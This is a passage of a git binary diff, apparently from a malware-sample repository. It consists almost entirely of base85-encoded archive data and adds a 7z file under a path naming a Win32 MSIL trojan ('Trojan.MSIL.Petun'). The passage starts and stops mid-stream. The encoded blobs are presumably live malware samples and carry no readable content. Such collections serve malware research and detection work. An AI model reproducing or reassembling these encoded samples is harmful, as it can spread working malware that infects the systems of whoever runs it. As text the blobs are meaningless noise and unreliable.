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 D6rj-+ literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-98.7z new file mode 100644 index 0000000000000000000000000000000000000000..5674889553668cb1517f416499bc20d5109ead3e GIT binary patch literal 17094 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 